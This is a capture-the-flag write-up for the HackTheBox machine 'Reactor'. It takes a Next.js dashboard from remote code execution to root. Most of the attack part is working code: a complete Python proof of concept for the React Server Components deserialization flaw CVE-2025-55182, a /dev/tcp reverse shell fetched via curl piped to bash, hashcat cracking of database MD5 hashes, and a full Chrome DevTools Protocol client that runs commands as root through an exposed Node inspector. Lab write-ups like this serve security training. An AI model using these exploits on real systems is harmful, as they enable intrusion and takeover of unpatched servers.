← hackthebox
HTB easy · linux / web

Reactor

platformHackTheBox
machineReactor
categoryWeb
osLinux
cve-2025-55182 rsc rce next.js server actions sqlite md5 crack node --inspect privesc chrome devtools protocol
Reactor Machine

Recon

Starting with nmap. SSH and an unusual service on 3000 that the version scanner cannot fingerprint, but the response headers give it away as a Next.js app.

[Reactor] nmap -Pn -v -T5 --min-rate 2000 -oN nmap -sSVC 10.129.18.248
Nmap scan report for 10.129.18.248
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
3000/tcp open  ppp?
| fingerprint-strings:
|   GetRequest:
|     HTTP/1.1 200 OK
|     Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, ...
|     X-Powered-By: Next.js
|     Content-Type: text/html; charset=utf-8
|     <!DOCTYPE html><html lang="en">...

Port 3000 serves ReactorWatch, a Next.js dashboard. Running nuclei over it flags a critical:

[CVE-2025-55182] [http] [critical] http://10.129.18.248:3000

Exploitation

CVE-2025-55182 is a deserialization flaw in React Server Components as used by Next.js Server Actions. When a request carries a Next-Action header, the server deserializes the multipart body into RSC model objects. The crafted payload abuses a constructor:constructor gadget in the deserializer to reach the Function constructor and evaluate an attacker supplied _prefix string, which is enough to call child_process.execSync on the server.

The full PoC builds a multipart body where field 0 is the crafted chunk and field 1 references it, with the Next-Action header set so Next.js treats the request as a Server Action. The _prefix runs the command and stuffs its output into a fake NEXT_REDIRECT error so the result comes back in the response:

[Reactor] cat poc.py
# /// script
# dependencies = ["requests"]
# ///
import requests
import sys
import json

BASE_URL = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:3000"
EXECUTABLE = sys.argv[2] if len(sys.argv) > 2 else "id"

crafted_chunk = {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": '{"then": "$B0"}',
    "_response": {
        "_prefix": f"var res = process.mainModule.require('child_process').execSync('{EXECUTABLE}',{{'timeout':5000}}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});",
        # If you don't need the command output, you can use this line instead:
        # "_prefix": f"process.mainModule.require('child_process').execSync('{EXECUTABLE}');",
        "_formData": {
            "get": "$1:constructor:constructor",
        },
    },
}

files = {
    "0": (None, json.dumps(crafted_chunk)),
    "1": (None, '"$@0"'),
}

headers = {"Next-Action": "x"}
res = requests.post(BASE_URL, files=files, headers=headers, timeout=10)
print(res.status_code)
print(res.text)

Host the reverse shell, start a listener, and run the PoC with a command that pulls and executes it:

[Reactor] cat shell.sh
0<&196;exec 196<>/dev/tcp/10.10.15.35/4444; sh <&196 >&196 2>&196

[Reactor] python3 poc.py http://10.129.18.248:3000/ 'curl http://10.10.15.35:8000/shell.sh | bash'

The listener catches a shell as the node user, in the app directory:

node@reactor:/opt/reactor-app$ id
uid=1001(node) gid=1001(node) groups=1001(node)

Post Exploitation

The app's .env points at a local SQLite database:

node@reactor:/opt/reactor-app$ cat .env
DB_PATH=/opt/reactor-app/reactor.db
DB_TYPE=sqlite3
SENSOR_API_KEY=rw_sk_7f8a9b2c3d4e5f6g7h8i9j0k
ALERT_WEBHOOK=https://alerts.internal.reactor.htb/webhook

The users table holds two MD5 hashes:

[Reactor] sqlite3 reactor.db
sqlite> .tables
sensor_logs  users
sqlite> select * from users;
1|admin|a203b22191d744a4e70ada5c101b17b8|administrator|admin@reactor.htb
2|engineer|39d97110eafe2a9a68639812cd271e8e|operator|engineer@reactor.htb

The engineer hash cracks against rockyou:

[Reactor] hashcat -m 0 hash /usr/share/wordlists/rockyou.txt
39d97110eafe2a9a68639812cd271e8e:reactor1

The password is reused for the system account, giving an SSH session and the user flag:

[Reactor] ssh engineer@10.129.18.248
engineer@reactor:~$ id
uid=1000(engineer) gid=1000(engineer) groups=1000(engineer),4(adm),24(cdrom),30(dip),46(plugdev),101(lxd)
engineer@reactor:~$ cat ~/user.txt

Privilege Escalation

Checking the process list, a monitoring service runs as root with the Node.js inspector enabled and bound to localhost:

engineer@reactor:~$ ps aux | grep inspect
root  1385  /usr/bin/node --inspect=127.0.0.1:9229 /opt/uptime-monitor/worker.js

The inspector speaks the Chrome DevTools Protocol over WebSocket and exposes Runtime.evaluate, which runs arbitrary JavaScript in the target process's global context. Since that process is root, any local user who can reach 9229 gets code execution as root. A plain HTTP endpoint even hands out the WebSocket URL:

engineer@reactor:~$ curl -s http://127.0.0.1:9229/json/list
[ {
  "id": "0ef29fa3-3dac-4c14-9879-eb9dc8958fcb",
  "title": "/opt/uptime-monitor/worker.js",
  "type": "node",
  "webSocketDebuggerUrl": "ws://127.0.0.1:9229/0ef29fa3-3dac-4c14-9879-eb9dc8958fcb"
} ]

A stdlib only Python CDP client is enough: connect to the WebSocket, send a Runtime.evaluate whose expression pulls child_process out of the running process and runs a command. Because the process is root, so is the command:

engineer@reactor:~$ cat privesc.py
#!/usr/bin/env python3
import socket, base64, os, json, sys, time, urllib.request

host, port = '127.0.0.1', 9229
ws = json.load(urllib.request.urlopen(f'http://{host}:{port}/json/list'))[0]['webSocketDebuggerUrl']
path = ws.split(f'{host}:{port}', 1)[1]

key = base64.b64encode(os.urandom(16)).decode()
s = socket.create_connection((host, port))
s.sendall((
    f'GET {path} HTTP/1.1\r\nHost: {host}:{port}\r\n'
    'Upgrade: websocket\r\nConnection: Upgrade\r\n'
    f'Sec-WebSocket-Key: {key}\r\nSec-WebSocket-Version: 13\r\n\r\n'
).encode())
assert b'101' in s.recv(4096)

def send(msg):
    d = msg.encode(); m = os.urandom(4)
    h = bytearray([0x81, 0x80 | len(d)]) if len(d) < 126 else \
        bytearray([0x81, 0x80 | 126]) + len(d).to_bytes(2, 'big')
    s.sendall(bytes(h) + m + bytes(b ^ m[i % 4] for i, b in enumerate(d)))

def recv():
    h = s.recv(2); ln = h[1] & 0x7f
    if ln == 126: ln = int.from_bytes(s.recv(2), 'big')
    elif ln == 127: ln = int.from_bytes(s.recv(8), 'big')
    buf = b''
    while len(buf) < ln: buf += s.recv(ln - len(buf))
    return buf

cmd = sys.argv[1] if len(sys.argv) > 1 else 'id'
send(json.dumps({"id": 1, "method": "Runtime.evaluate", "params": {
    "expression": f"global.process.mainModule.require('child_process').execSync({json.dumps(cmd)}).toString()"
}}))
time.sleep(0.5)
print(recv().decode(errors='replace'))
engineer@reactor:~$ python3 privesc.py 'id'
{"id":1,"result":{"result":{"type":"string","value":"uid=0(root) gid=0(root) groups=0(root)\n"}}}

From there the same primitive reads /root/root.txt as root.

─────────────────────────────────────
HackTheBox // Reactor
ribeir.in
─────────────────────────────────────